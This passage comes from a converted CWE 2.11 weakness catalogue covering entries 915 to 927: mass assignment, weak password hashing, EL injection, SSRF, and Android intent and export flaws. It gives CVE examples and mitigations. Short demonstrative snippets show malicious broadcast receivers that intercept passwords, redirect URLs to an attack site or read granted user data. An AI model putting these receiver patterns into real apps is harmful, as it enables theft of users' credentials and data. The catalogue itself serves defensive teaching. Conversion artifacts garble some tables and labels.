<td>extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.</td>
</tr>
<tr>
<td>CVE-2007-2431</td>
<td>Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.</td>
</tr>
<tr>
<td>CVE-2009-0422</td>
<td>Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
   For any externally-influenced input, check the input against a white list of internal program
variables that are allowed to be modified.

Implementation
Architecture and Design
Refactoring
   Refactor the code so that internal program variables do not need to be dynamically identified.
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID: 915 (Weakness Base) Status: Incomplete

Description

Summary
The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description
If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Alternate Terms
Mass Assignment
"Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding
The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

Object injection
This term seems to be preferred by some PHP application researchers who attack unsafe use of the unserialize() function.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• Ruby
• ASP.NET
• PHP
• Python
• Language-independent

Common Consequences
Integrity
Modify application data
An attacker could modify sensitive data or program variables.

Integrity
Execute unauthorized code or commands
CWE Version 2.11
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Other
Integrity
Varies by context
Alter execution logic

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2875</td>
<td>Python script allows remote attackers to execute arbitrary code using pickled objects.</td>
</tr>
<tr>
<td>CVE-2007-5741</td>
<td>Content management system written in Python interprets untrusted data as pickles, allowing code execution.</td>
</tr>
<tr>
<td>CVE-2008-1013</td>
<td>Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.</td>
</tr>
<tr>
<td>CVE-2008-7310</td>
<td>Attackers can bypass payment step in e-commerce software.</td>
</tr>
<tr>
<td>CVE-2009-4137</td>
<td>Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.</td>
</tr>
<tr>
<td>CVE-2010-3258</td>
<td>Incorrect deserialization in web browser allows escaping the sandbox.</td>
</tr>
<tr>
<td>CVE-2011-2520</td>
<td>Python script allows local users to execute code via pickled data.</td>
</tr>
<tr>
<td>CVE-2011-2894</td>
<td>Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2011-4962</td>
<td>Content management system written in PHP allows code execution through page comments.</td>
</tr>
<tr>
<td>CVE-2012-0911</td>
<td>Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.</td>
</tr>
<tr>
<td>CVE-2012-0912</td>
<td>Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.</td>
</tr>
<tr>
<td>CVE-2012-1833</td>
<td>Grails allows binding of arbitrary parameters to modify arbitrary object properties.</td>
</tr>
<tr>
<td>CVE-2012-2054</td>
<td>Mass assignment allows modification of arbitrary attributes using modified URL.</td>
</tr>
<tr>
<td>CVE-2012-2055</td>
<td>Source version control product allows modification of trusted key using mass assignment.</td>
</tr>
<tr>
<td>CVE-2012-3527</td>
<td>Use of PHP unserialize function on untrusted input in content management system might allow code execution.</td>
</tr>
<tr>
<td>CVE-2013-0277</td>
<td>Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2013-1465</td>
<td>Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
If available, use features of the language or framework that allow specification of whitelists of attributes or fields that are allowed to be modified. If possible, prefer whitelists over black lists. For applications written with Ruby on Rails, use the attr_accessible (whitelist) or attr_protected (blacklist) macros in each class that may be used in mass assignment.

Architecture and Design

Input Validation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Implementation

Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships
CWE-916: Use of Password Hash With Insufficient Computational Effort

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>502</td>
<td>Deserialization of Untrusted Data</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td>699</td>
</tr>
</tbody>
</table>

References


Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.
short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker. There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)
- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining a password that produces this hash value, other than by guessing possible passwords ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

- **Access Control**
- **Bypass protection mechanism**
- **Gain privileges / assume identity**

If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

### Manual Static Analysis - Source Code

**SOAR High**

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Configuration Checker

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0967</td>
<td>Server uses a constant salt when encrypting passwords, simplifying brute force attacks.</td>
</tr>
<tr>
<td>CVE-2002-1657</td>
<td>Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.</td>
</tr>
<tr>
<td>CVE-2005-0408</td>
<td>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</td>
</tr>
<tr>
<td>CVE-2006-1058</td>
<td>Router does not use a salt with a hash, making it easier to crack passwords.</td>
</tr>
<tr>
<td>CVE-2008-1526</td>
<td>Router does not use a salt with a hash, making it easier to crack passwords.</td>
</tr>
<tr>
<td>CVE-2008-4905</td>
<td>Blogging software uses a hard-coded salt when calculating a password hash.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

High
Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.916.1], scrypt [R.916.2], and PBKDF2 [R.916.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Implementation

Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Weakness Ordinalities
CWE Version 2.11
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>699</td>
<td>574</td>
</tr>
<tr>
<td>ParentOf</td>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
<td>699</td>
<td>1156</td>
</tr>
<tr>
<td>ParentOf</td>
<td>760</td>
<td>Use of a One-Way Hash with a Predictable Salt</td>
<td>699</td>
<td>1160</td>
</tr>
</tbody>
</table>

References


CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID: 917 (Weakness Base) Status: Incomplete

Description

Summary

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Alternate Terms

EL Injection

Time of Introduction

- Architecture and Design
CWE-918: Server-Side Request Forgery (SSRF)

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Read application data
Integrity
Execute unauthorized code or commands

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>1000</td>
</tr>
</tbody>
</table>

Relationship Notes

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

References


CWE-918: Server-Side Request Forgery (SSRF)

Weakness ID: 918 (Weakness Base) Status: Incomplete

Description

Summary
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Extended Description
By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

Alternate Terms
XSPA
Cross Site Port Attack

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based

Technology Classes
CWE Version 2.11
CWE-919: Weaknesses in Mobile Applications

- Web-Server

**Common Consequences**
- Confidentiality
- Read application data
- Integrity
- Execute unauthorized code or commands

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1484</td>
<td>Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.</td>
</tr>
<tr>
<td>CVE-2004-2061</td>
<td>CGI script accepts and retrieves incoming URLs.</td>
</tr>
<tr>
<td>CVE-2009-0037</td>
<td>URL-downloading library automatically follows redirects to file:// and scp:// URLs</td>
</tr>
<tr>
<td>CVE-2010-1637</td>
<td>Web-based mail program allows internal network scanning using a modified POP3 port number.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>699 755</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>699 755</td>
</tr>
</tbody>
</table>

**Relationship Notes**

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

**References**


CWE-919: Weaknesses in Mobile Applications

**View ID:** 919 *(View: Implicit Slice)*

**Objective**

CWE entries in this view (slice) are often seen in mobile applications.

**View Data**

**Filter Used:**

`//@Architectural_Paradigm_Name='Mobile Application'`
**CWE-920: Improper Restriction of Power Consumption**

**Weakness ID:** 920 *(Weakness Base)*  
**Status:** Incomplete

**Summary**  
The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

**Extended Description**  
In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Architectural Paradigms
- Mobile Application

Common Consequences

Availability
DoS: resource consumption (other)
DoS: crash / exit / restart
The power source could be drained, causing the application - and the entire device - to cease functioning.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>699</td>
<td>689</td>
</tr>
</tbody>
</table>

CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID: 921 (Weakness Base) Status: Incomplete

Description

Summary
The software stores sensitive information in a file system or device that does not have built-in access control.

Extended Description
While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.
On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Architectural Paradigms
- Mobile Application

Common Consequences

Confidentiality
Read application data
Read files or directories
Attackers can read sensitive information by accessing the unrestricted storage mechanism.

Integrity
Modify application data
Modify files or directories
Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.

Relationships
CWE-922: Insecure Storage of Sensitive Information

Weakness ID: 922 (Weakness Class)

**Description**

**Summary**
The software stores sensitive information without properly limiting read or write access by unauthorized actors.

**Extended Description**
If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

**Time of Introduction**
- Architecture and Design
- Implementation
- System Configuration

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Confidentiality**
Read application data
Read files or directories
Attackers can read sensitive information by accessing the unrestricted storage mechanism.

**Integrity**
Modify application data
Modify files or directories
Attackers can read sensitive information by accessing the unrestricted storage mechanism.

**Relationships**

**Nature** | **Type** | **ID** | **Name** | **Page**
--- | --- | --- | --- | ---
ChildOf | 922 | Insecure Storage of Sensitive Information | 699 | 1000
ParentOf | 664 | Improper Control of a Resource Through its Lifetime | 699 | 1028
ParentOf | 312 | Cleartext Storage of Sensitive Information | 699 | 555
ParentOf | 921 | Storage of Sensitive Data in a Mechanism without Access Control | 699 | 1352

**Relationship Notes**
There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

**Maintenance Notes**
This is a high-level node that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

**Weakness ID:** 923 (Weakness Class)  
**Status:** Incomplete

**Description**

**Summary**

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

**Extended Description**

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Integrity**

Gain privileges / assume identity

If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>284</td>
<td>Improper Access Control</td>
<td>699 500</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>291</td>
<td>Reliance on IP Address for Authentication</td>
<td>1000 518</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
<td>1000 526</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)</td>
<td>699 531</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>1000 568</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
<td>1000 609</td>
<td></td>
</tr>
<tr>
<td>CanFollow</td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
<td>1000 609</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>419</td>
<td>Unprotected Primary Channel</td>
<td>1000 724</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
<td>1000 725</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>925</td>
<td>Improper Verification of Intent by Broadcast Receiver</td>
<td>699 1355</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>940</td>
<td>Improper Verification of Source of a Communication Channel</td>
<td>699 1368</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>941</td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
<td>699 1370</td>
<td></td>
</tr>
</tbody>
</table>

**Maintenance Notes**

This entry will be made more comprehensive in later CWE versions.

CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

**Weakness ID:** 924 (Weakness Class)  
**Status:** Incomplete

**Description**
Summary
The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description
A man-in-the-middle (MITM) attacker might be able to modify the message and spoof the endpoint.

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Common Consequences
Integrity
Confidentiality
Gain privileges / assume identity
If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>601</td>
</tr>
</tbody>
</table>

Maintenance Notes
This entry will be made more comprehensive in later CWE versions.

CWE-925: Improper Verification of Intent by Broadcast Receiver

Weakness ID: 925 (Weakness Variant) Status: Incomplete

Description

Summary
The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description
Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Alternate Terms
Intent Spoofing

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
CWE Version 2.11
CWE-926: Improper Export of Android Application Components

Integrity
Gain privileges / assume identity
Another application can impersonate the operating system and cause the software to perform an unintended action.

Demonstrative Examples

XML Example:

```xml
<manifest package="com.example.vulnerableApplication">
  <application>
    ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
    ...
  </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Java Example:

```java
public class ShutdownReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(final Context context, final Intent intent) {
    mainActivity.saveLocalData();
    mainActivity.stopActivity();
  }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Java Example:

```java
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

Potential Mitigations

Architecture and Design
Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1354</td>
</tr>
</tbody>
</table>

References


Maintenance Notes
This entry will be made more comprehensive in later CWE versions.

CWE-926: Improper Export of Android Application Components

<table>
<thead>
<tr>
<th>Weakness ID: 926 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>
Summary
The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

Extended Description
The attacks and consequences of improperly exporting a component may depend on the exported component:

If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.

If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.

If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
Availability
Integrity
Unexpected state
DoS: crash / exit / restart
DoS: instability
Varies by context
• Other applications, possibly untrusted, can launch the Activity.

Availability
Integrity
Unexpected state
Gain privileges / assume identity
DoS: crash / exit / restart
DoS: instability
Varies by context
• Other applications, possibly untrusted, can bind to the Service.

Confidentiality
Integrity
Read application data
Modify application data
• Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.

Demonstrative Examples
Example 1:
This application is exporting an activity and a service in its manifest.xml:

XML Example:

```xml
<activity android:name="com.example.vulnerableApp.mainScreen">
...
```
CWE Version 2.11

CWE-926: Improper Export of Android Application Components

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

Example 2:
This application has created a content provider to enable custom search suggestions within the application:

XML Example:  

```
<provider>
    android:name="com.example.vulnerableApp.searchDB"
    android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

Potential Mitigations

Build and Compilation
Identify and Reduce Attack Surface
If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.

Build and Compilation
Identify and Reduce Attack Surface
If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.

Build and Compilation
Architecture and Design
Identify and Reduce Attack Surface
Separation of Privilege
Limit Content Provider permissions (read/write) as appropriate.

Background Details
There are three types of components that can be exported in an Android application.

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>285</td>
<td>Improper Authorization</td>
<td>699  502</td>
</tr>
</tbody>
</table>
CWE-927: Use of Implicit Intent for Sensitive Communication

Weakness ID: 927 (Weakness Variant) Status: Incomplete

Description

Summary
The Android application uses an implicit intent for transmitting sensitive data to other applications.

Extended Description
Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences

Confidentiality
Read application data
Other applications, possibly untrusted, can read the data that is offered through the Intent.

Integrity
Varies by context
The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.

Demonstrative Examples

Example 1:
This application wants to create a user account in several trusted applications using one broadcast intent:
Java Example:
```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

Java Example:
```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create a whitelist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

Example 2:
This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Java Example:
```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Java Example:
```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

Example 3:
This application is sending an ordered broadcast, asking other applications to open a URL:

Java Example:
```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

Java Example:
```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + Url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

Example 4:
This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.
Java Example:  
```
Bad Code
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Java Example:  
```
Attack
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the
FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code
can read the user’s data.

Potential Mitigations

Implementation
If the application only requires communication with its own components, then the destination is
always known, and an explicit intent could be used.

Relationships

<table>
<thead>
<tr>
